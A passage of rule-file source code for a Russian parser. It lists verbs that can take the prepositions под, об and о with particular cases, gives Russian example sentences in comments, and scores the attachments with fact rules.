rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде
rus_verbs:протрубить{}, // протрубить о победе
rus_verbs:извещать{}, // извещать о поступлении
rus_verbs:трубить{}, // трубить о поимке разбойников
rus_verbs:осведомляться{}, // осведомляться о судьбе
rus_verbs:поразмышлять{}, // поразмышлять о неизбежном
rus_verbs:слагать{}, // слагать о подвигах викингов
rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи
rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании
rus_verbs:закидывать{}, // закидывать сообщениями об ошибках
rus_verbs:базарить{}, // пацаны базарили о телках
rus_verbs:балагурить{}, // мужики балагурили о новом председателе
rus_verbs:балакать{}, // мужики балакали о новом председателе
rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
